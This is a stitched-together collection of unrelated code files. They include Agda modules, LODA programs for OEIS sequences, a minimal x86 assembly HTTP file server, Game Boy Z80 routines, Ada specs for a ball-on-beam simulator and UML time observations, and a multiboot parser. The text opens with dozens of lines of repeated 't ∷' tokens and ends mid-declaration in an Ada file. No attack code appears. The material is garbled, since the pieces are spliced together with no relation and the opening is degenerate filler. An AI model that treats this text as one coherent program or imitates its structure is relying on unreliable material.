t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
[]
meta : Set
meta = _
|
oeis/195/A195125.asm | neoneye/loda-programs | 11 | 286 | ; A195125: a(n) = 2*n - floor(n*r), where r=Pi-3.
; Submitted by <NAME>
; 0,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28,30,32,34,36,38,40,41,43,45,47,49,51,53,54,56,58,60,62,64,66,67,69,71,73,75,77,79,80,82,84,86,88,90,92,93,95,97,99,101,103,105,106,108,110,112,114,116,118,119,121,123,125,127,129,131,132,134,136,138,140,142,144,145,147,149,151,153,155,157,158,160,162,164,166,168,170,171,173,175,177,179,181,183,184
mov $1,$0
mul $1,2
mov $2,$0
lpb $2,$2
sub $1,1
sub $2,7
lpe
mov $0,$1
|
claude.asm | smattie/claude | 0 | 13563 | ;;; ----------------------------------------------------------------------------
;;; claude
;;;
;;; This work is free. You can redistribute it and/or modify it under the
;;; terms of the Do What The Fuck You Want To Public License, Version 2,
;;; as published by Sam Hocevar. See the COPYING file for more details.
;;;
;;; 2020-2021 - smattie <https://github.com/smattie>
;;; ----------------------------------------------------------------------------
format elf executable 3
entry start
define fork 2
define read 3
define write 4
define open 5
define close 6
define waitpid 7
define chdir 12
define alarm 27
define access 33
define signal 48
define chroot 61
define clone 120
define nanosleep 162
define capset 185
define sendfile 187
define socket 359
define bind 361
define connect 362
define listen 363
define accept4 364
define SIGALRM 14
define R_OK 4
define PF_INET 2
define SOCK_STREAM 1
;; requires
;; cap_net_bind_service
;; cap_sys_chroot
define LINUX_CAPABILITY_VERSION_3 0x20080522
define CLONE_VM 0x00000100
define CLONE_FS 0x00000200
define CLONE_FILES 0x00000400
define CLONE_SIGHAND 0x00000800
define CLONE_THREAD 0x00010000
define CLONE_SYSVSEM 0x00040000
THREADFLAGS = \
CLONE_VM or CLONE_FILES or CLONE_SIGHAND or \
CLONE_FS or CLONE_THREAD or CLONE_SYSVSEM
define REQBUFSZ 2048
define CLIENTTIMEOUT 13
segment readable executable
;; ------------------------------------------------------------------
;; > ebx: status
finish:
xor eax, eax
inc eax
int 80h
;; ------------------------------------------------------------------
start:
mov eax, [esp]
dec eax
jle finish
mov ax, chdir
mov ebx, [esp + 8]
int 80h
test eax, eax
jnz finish
mov al, chroot
int 80h
test eax, eax
jnz finish
sub esp, 64
mov ax, socket
mov ebx, PF_INET
mov ecx, SOCK_STREAM
xor edx, edx
int 80h
mov ebp, eax
test eax, eax
js finish
; mov [esp], dword 0x901f0002 ;; af_inet, 8080
mov [esp], dword 0x50000002 ;; af_inet, 80
mov ax, bind
mov ebx, ebp
mov ecx, esp
mov dl, 16
int 80h
test eax, eax
jnz finish
mov ax, listen
mov ecx, edx
int 80h
test eax, eax
jnz finish
mov ax, capset
mov ebx, esp
lea ecx, [esp + 8]
mov [esp], dword LINUX_CAPABILITY_VERSION_3
int 80h
test eax, eax
jnz finish
mov [esp], ebp ;; XXX: esp/ecx is pointing at the top of the stack
mov al, clone ;; which you usually wouldn't want but in this case
mov ebx, THREADFLAGS ;; i don't *think* it matters
mov ecx, esp
xor edx, edx
xor esi, esi
xor edi, edi
int 80h
test eax, eax
js finish
jz waitthread
.loop:
mov eax, accept4
mov ebx, ebp
xor ecx, ecx
int 80h
mov ebx, eax
test eax, eax
js .loop
mov ax, fork
int 80h
test eax, eax
jz serve
jg .close
.servererror:
mov eax, write
mov ecx, err500+1
mov dl, err500.len
int 80h
.close:
mov eax, close
int 80h
jmp .loop
;; ------------------------------------------------------------------
waitthread:
mov eax, nanosleep ;; sleep ~3 seconds (presumably) if there
mov ebx, esp ;; are no children to be waited on
xor ecx, ecx
int 80h
or ebx, -1
.waitmore:
mov eax, waitpid
int 80h
test eax, eax
jns .waitmore
jmp waitthread
;; ------------------------------------------------------------------
;; > ebx: client fd
;; > edi: 0
serve:
sub esp, REQBUFSZ
mov ebp, ebx
.newrequest:
mov eax, signal
mov ebx, SIGALRM
mov ecx, alarmhandler
int 80h
mov eax, alarm
mov bl, CLIENTTIMEOUT
int 80h
mov esi, esp
mov dx, REQBUFSZ
.readrequest:
mov eax, read
mov ebx, ebp
mov ecx, esi
int 80h
mov edi, err400
test eax, eax
jle dropclient
add edi, (err408-err400-1)
sub edx, eax
add esi, eax
mov eax, [esi-4]
cmp eax, 0a0d0a0dh
jne .readrequest
mov ecx, [esp]
mov eax, alarm
xor ebx, ebx
int 80h
.getmethod:
mov edi, err400
xor ecx, 20544547h
jnz dropclient
lea edi, [esp+4]
.getpath:
mov ebx, index
cmp [edi], word 202fh
je .sendfile
mov ebx, edi
mov al, 20h
mov cx, REQBUFSZ
repne scasb
xor eax, eax
mov [edi-1], eax
mov edi, err404
mov al, access
mov cx, R_OK
int 80h
test eax, eax
jnz dropclient
.sendfile:
mov edi, err500
mov al, open
xor ecx, ecx
xor edx, edx
int 80h
test eax, eax
js dropclient
xor edi, edi
mov ecx, eax
mov eax, sendfile
mov ebx, ebp
or esi, -1
int 80h
mov eax, close
mov ebx, ecx
int 80h
jmp .newrequest
;; ------------------------------------------------------------------
;; > edi: err&
dropclient:
mov ebx, ebp
lea ecx, [edi+1]
test edi, edi
jz @f
mov eax, write
movzx edx, byte [edi]
int 80h
@@:
jmp finish
;; ------------------------------------------------------------------
alarmhandler:
mov [esp], dword dropclient
ret
;; ------------------------------------------------------------------
index:
db "index.html", 0
.len = $ - index
err400:
db err400.len
db "HTTP/1.1 400 Bad Request", 13, 10, 13, 10
.len = $ - err400 - 1
err404:
db err404.len
db "HTTP/1.1 404 Not Found", 13, 10, 13, 10
.len = $ - err404 - 1
err408:
db err408.len
db "HTTP/1.1 408 Request Timeout", 13, 10, 13, 10
.len = $ - err408 - 1
err500:
db err500.len
db "HTTP/1.1 500 Internal Server Error", 13, 10, 13, 10
.len = $ - err500 - 1
|
oeis/164/A164103.asm | neoneye/loda-programs | 11 | 177537 | ; A164103: Decimal expansion of 8*Pi^2/15.
; Submitted by <NAME>
; 5,2,6,3,7,8,9,0,1,3,9,1,4,3,2,4,5,9,6,7,1,1,7,2,8,5,3,3,2,6,7,2,8,0,6,0,5,5,0,0,6,3,9,6,8,3,8,6,1,7,5,5,0,0,0,7,5,3,7,8,6,3,3,3,9,8,4,0,2,3,9,0,5,2,9,0,2,4,2,7,9,6,2,6,7,6,1,2,4,8,1,9,8,3,2,2,7,8,5,6
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
pow $1,2
mul $1,4
div $1,5
mul $1,8
pow $2,2
mul $2,30
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
src/Human/String.agda | MaisaMilena/JuiceMaker | 6 | 14884 | module Human.String where
open import Human.Bool
open import Human.List renaming ( length to llength )
open import Human.Char
open import Human.Nat
postulate String : Set
{-# BUILTIN STRING String #-}
primitive
primStringToList : String → List Char
primStringFromList : List Char → String
primStringAppend : String → String → String
primStringEquality : String → String → Bool
primShowChar : Char → String
primShowString : String → String
{-# COMPILE JS primStringToList = function(x) { return x.split(""); } #-}
{-# COMPILE JS primStringFromList = function(x) { return x.join(""); } #-}
{-# COMPILE JS primStringAppend = function(x) { return function(y) { return x+y; }; } #-}
{-# COMPILE JS primStringEquality = function(x) { return function(y) { return x===y; }; } #-}
{-# COMPILE JS primShowChar = function(x) { return JSON.stringify(x); } #-}
{-# COMPILE JS primShowString = function(x) { return JSON.stringify(x); } #-}
toList : String → List Char
toList = primStringToList
{-# COMPILE JS primStringToList = function(x) { return x.split(""); } #-}
slength : String → Nat
slength s = llength (toList s)
{-# COMPILE JS slength = function(s) { return s.length; } #-}
|
src/bb.ads | jorge-real/Ball-On-Beam | 4 | 14614 | --------------------------------------------------------------------------------
-- --
-- B B --
-- Ball on Beam Simulator --
-- --
-- Spec --
-- --
-- This is the root package of a library implementing a ball on beam system --
-- simulator. It gives general definitions concerning this system, namely --
-- the types for representing the system variables (ball position and --
-- beam angle); and it implements general operations on the system, such --
-- as moving the system to a given solar system object or setting the --
-- simulator operating mode. --
-- --
-- The interfaces to obtain the ball position and set the beam angle from a --
-- client program are implemented by child packages of BB, which need to --
-- be with'ed, together with package BB. Those packages model different --
-- abstractions for the purpose, such as an A/D converter to obtain the --
-- ball position. The same goes for the gnoga-based graphical user --
-- interface, implemented in child package BB.GUI and childs of it. --
-- --
-- Author: <NAME> --
-- Universitat Politecnica de Valencia --
-- July, 2020 - Version 1 --
-- February, 2021 - Version 2 --
-- --
-- This is free software in the ample sense: you can use it freely, --
-- provided you preserve this comment at the header of source files and --
-- you clearly indicate the changes made to the original file, if any. --
-- --
--------------------------------------------------------------------------------
package BB is
Max_Angle : constant := 15.0; -- deg
Min_Angle : constant := - Max_Angle;
-- Maximum and minimum inclination angle of beam, in degrees.
subtype Angle is Float range Min_Angle .. Max_Angle;
-- At zero degrees, the beam is horizontal. Angle grows CCW.
-- The angle range is symmetrical around 0.0 deg.
Max_Position : constant Float := 240.0; -- mm
Min_Position : constant Float := - Max_Position;
-- Maximum and minimum position of ball on beam, in mm.
subtype Position is Float range Min_Position .. Max_Position;
-- At the beam center, Position = 0.0. Position grows rightwards.
-- The position range is symmetrical around 0.0 mm.
type Solar_System_Object is (Mercury, Venus, Earth, Moon, Mars,
Jupiter, Saturn, Uranus, Neptune,
Pluto, Ceres, Eris, Vesta) with Atomic;
-- Solar system objects where the ball & beam system may be simulated.
-- The default location is Earth. On a slow computer, you can try lower
-- gravity objects to slow down the system dynamics and let you use
-- larger control loop periods, in control applications.
procedure Move_BB_To (Where : in Solar_System_Object);
-- Simulates the system Where specified, applying the gravity of the
-- given solar system object
type Simulation_Mode is (Open_Loop, Closed_Loop);
-- Modes of operation of the simulator. The default mode is Closed_Loop.
procedure Set_Simulation_Mode (Mode : Simulation_Mode);
-- The mode affects the way in which the simulator makes simulation steps.
-- In Open_Loop mode, the simulator actively advances a simulation step once
-- every 100 ms. This mode is needed only in applications that do not call
-- Ball_Position or Set_Beam_Angle with sufficient frequency.
-- In Closed_Loop mode, the simulator is passive. Simulation steps are made
-- only when a client calls Ball_Position or Set_Beam_Angle. This occurs
-- naturally in closed-loop applications.
private
--
-- Subprograms implementing the ideal BB model upon which all BB interfaces
-- depend. The ideal model is purely analytical and does not require I/O
-- synchronisation: input via Ball_Position is always ready and output
-- via Set_Beam_Angle has immediate effect.
--
procedure Set_Beam_Angle (Inclination : Angle);
-- Set the beam inclination angle, in degrees.
function Ball_Position return Position;
-- Returns the simulated ball position, in mm.
--
-- Functions made available for GUI updates. They return the most recent
-- values of ball position, beam angle and selected solar sytem object.
-- These functions are used from child package BB.GUI.Controller so that
-- GUI updates do not make simulation steps. A sufficiently fresh value
-- is enough for the purpose.
--
function Last_Pos return Position;
function Last_Angle return Angle;
function Current_Planet return Solar_System_Object;
end BB;
|
antlr/DynastyCommonRuleSet.g4 | dynasty-lang/dynasty-lan | 2 | 5285 | grammar DynastyCommonRuleSet;
import DynastyLexerRuleSet;
fqn: (names += IDENT DOT)* names += IDENT;
|
programs/oeis/093/A093135.asm | neoneye/loda | 22 | 7407 | <gh_stars>10-100
; A093135: Expansion of (1-8*x)/((1-x)*(1-10*x)).
; 1,3,23,223,2223,22223,222223,2222223,22222223,222222223,2222222223,22222222223,222222222223,2222222222223,22222222222223,222222222222223,2222222222222223,22222222222222223,222222222222222223
mov $1,10
pow $1,$0
mul $1,10
div $1,45
add $1,1
mov $0,$1
|
ether/multiboot.asm | hakonmagnus/ether | 2 | 93555 | <reponame>hakonmagnus/ether
;=============================================================================|
; _______ _________ _______ _______ |
; ( ____ \\__ __/|\ /|( ____ \( ____ ) |
; | ( \/ ) ( | ) ( || ( \/| ( )| |
; | (__ | | | (___) || (__ | (____)| By <NAME>. |
; | __) | | | ___ || __) | __) Licensed under MIT. |
; | ( | | | ( ) || ( | (\ ( |
; | (____/\ | | | ) ( || (____/\| ) \ \__ |
; (_______/ )_( |/ \|(_______/|/ \__/ |
;=============================================================================|
extern _start
extern vga_text_print_string
extern vga_text_put_char
extern itoa
global multiboot_parse
global mem_lower
global mem_upper
global bios_boot_device
global bios_memory_map
section .multiboot
align 4
header_start:
dd 0xE85250D6
dd 0
dd header_start - header_end
dd 0x100000000 - 0xE85250D6 - (header_start - header_end)
; Entry tag
dw 3
dw 0
dd 12
dd _start
dw 0
dw 0
dw 0
header_end:
section .data
global boot_info
boot_info dq 0
mem_lower dq 0
mem_upper dq 0
bios_boot_device dq 0
bios_memory_map times 64 dd 0
int_string times 15 db 0
section .text
;=============================================================================;
; multiboot_parse ;
; Parse the multiboot info passed from the bootloader ;
;=============================================================================;
multiboot_parse:
push rsi
push rax
push rbx
push rcx
xor rax, rax
xor rbx, rbx
xor rcx, rcx
mov qword rsi, [boot_info]
mov dword ecx, [rsi]
add rsi, 8
sub rcx, 8
.next_tag:
cmp rcx, 0
jbe .done
mov dword eax, [rsi]
mov dword ebx, [rsi+4]
cmp eax, 4
je .memory_info_tag
cmp eax, 5
je .boot_device_tag
cmp eax, 6
je .memory_map_tag
cmp eax, 0
je .done
.skip_tag:
add rsi, rbx
sub rcx, rbx
jmp .next_tag
.memory_info_tag:
mov dword eax, [rsi+8]
mov dword [mem_lower], eax
mov dword eax, [rsi+12]
mov dword [mem_upper], eax
jmp .skip_tag
.boot_device_tag:
mov dword eax, [rsi+8]
mov dword [bios_boot_device], eax
jmp .skip_tag
.memory_map_tag:
push rcx
push rsi
cld
mov rcx, rbx
lea qword rdi, [bios_memory_map]
add rsi, 16
sub rcx, 16
rep movsb
pop rsi
pop rcx
jmp .skip_tag
.done:
pop rcx
pop rbx
pop rax
pop rsi
ret
|
libsrc/target/gb/gbdk/setchar.asm | Frodevan/z88dk | 640 | 247425 |
MODULE setchar
PUBLIC setchar
PUBLIC _setchar
EXTERN asm_setchar
EXTERN __console_x
SECTION code_driver
INCLUDE "target/gb/def/gb_globals.def"
setchar:
_setchar: ; Banked
PUSH BC
LD HL,sp + 4 ; Skip return address
LD A,(HL) ; A = c
ld hl,__console_x
ld c,(hl)
inc hl
ld b,(hl)
CALL asm_setchar
POP BC
RET
|
data/hits/seagull-serenade.asm | sinusoid-studios/rhythm-land | 11 | 1259 | INCLUDE "constants/hardware.inc"
INCLUDE "constants/games/seagull-serenade.inc"
INCLUDE "constants/hits.inc"
INCLUDE "macros/hits.inc"
DEF MUSIC_SPEED EQU MUSIC_SEAGULL_SERENADE_SPEED
SECTION "Seagull Serenade Game Hit Table", ROMX
xHitTableSeagullSerenade::
; Game's hit keys
; Left and Right combined into Left since either is fine (don't
; require pressing both Left and Right at the same time)
DB PADF_UP | PADF_LEFT | PADF_DOWN
hit 64 + 12, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 14, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 8, PADF_DOWN
hit 8, PADF_DOWN
hit 14, PADF_UP
hit 10, PADF_DOWN
hit 8, PADF_DOWN
hit 14, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 14, PADF_UP
hit 16, PADF_DOWN
hit 12, PADF_UP
hit 8, PADF_DOWN
hit 6, PADF_UP
hit 8, PADF_LEFT
DB HITS_END
|
source/hash/a-szhcin.ads | ytomino/drake | 33 | 23336 | <filename>source/hash/a-szhcin.ads<gh_stars>10-100
pragma License (Unrestricted);
-- Ada 2012
with Ada.Characters.Conversions;
with Ada.Strings.Generic_Hash_Case_Insensitive;
function Ada.Strings.Wide_Wide_Hash_Case_Insensitive is
new Generic_Hash_Case_Insensitive (
Wide_Wide_Character,
Wide_Wide_String,
Characters.Conversions.Get);
-- pragma Pure (Ada.Strings.Wide_Wide_Hash_Case_Insensitive);
pragma Preelaborate (Ada.Strings.Wide_Wide_Hash_Case_Insensitive); -- use maps
|
source/amf/uml/amf-uml-time_observations.ads | svn2github/matreshka | 24 | 16663 | <filename>source/amf/uml/amf-uml-time_observations.ads
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
-- A time observation is a reference to a time instant during an execution.
-- It points out the element in the model to observe and whether the
-- observation is when this model element is entered or when it is exited.
------------------------------------------------------------------------------
limited with AMF.UML.Named_Elements;
with AMF.UML.Observations;
package AMF.UML.Time_Observations is
pragma Preelaborate;
type UML_Time_Observation is limited interface
and AMF.UML.Observations.UML_Observation;
type UML_Time_Observation_Access is
access all UML_Time_Observation'Class;
for UML_Time_Observation_Access'Storage_Size use 0;
not overriding function Get_Event
(Self : not null access constant UML_Time_Observation)
return AMF.UML.Named_Elements.UML_Named_Element_Access is abstract;
-- Getter of TimeObservation::event.
--
-- The observation is determined by the entering or exiting of the event
-- element during execution.
not overriding procedure Set_Event
(Self : not null access UML_Time_Observation;
To : AMF.UML.Named_Elements.UML_Named_Element_Access) is abstract;
-- Setter of TimeObservation::event.
--
-- The observation is determined by the entering or exiting of the event
-- element during execution.
not overriding function Get_First_Event
(Self : not null access constant UML_Time_Observation)
return Boolean is abstract;
-- Getter of TimeObservation::firstEvent.
--
-- The value of firstEvent is related to event. If firstEvent is true,
-- then the corresponding observation event is the first time instant the
-- execution enters event. If firstEvent is false, then the corresponding
-- observation event is the time instant the execution exits event.
not overriding procedure Set_First_Event
(Self : not null access UML_Time_Observation;
To : Boolean) is abstract;
-- Setter of TimeObservation::firstEvent.
--
-- The value of firstEvent is related to event. If firstEvent is true,
-- then the corresponding observation event is the first time instant the
-- execution enters event. If firstEvent is false, then the corresponding
-- observation event is the time instant the execution exits event.
end AMF.UML.Time_Observations;
|
.emacs.d/elpa/ada-mode-5.3.1/gps_source/case_handling.adb | caqg/linux-home | 0 | 20811 | <reponame>caqg/linux-home<gh_stars>0
------------------------------------------------------------------------------
-- G P S --
-- --
-- Copyright (C) 2004-2016, AdaCore --
-- --
-- This is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. This software is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- --
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public --
-- License for more details. You should have received a copy of the GNU --
-- General Public License distributed with this software; see file --
-- COPYING3. If not, go to http://www.gnu.org/licenses for a complete copy --
-- of the license. --
------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
with Ada.Characters.Wide_Wide_Latin_1;
with Ada.Strings.UTF_Encoding.Wide_Wide_Strings;
use Ada.Strings.UTF_Encoding.Wide_Wide_Strings;
with Ada.Strings.Wide_Wide_Unbounded; use Ada.Strings.Wide_Wide_Unbounded;
with Ada.Wide_Wide_Characters.Handling; use Ada.Wide_Wide_Characters.Handling;
package body Case_Handling is
procedure Add_Exception
(HTable : Exceptions_Table;
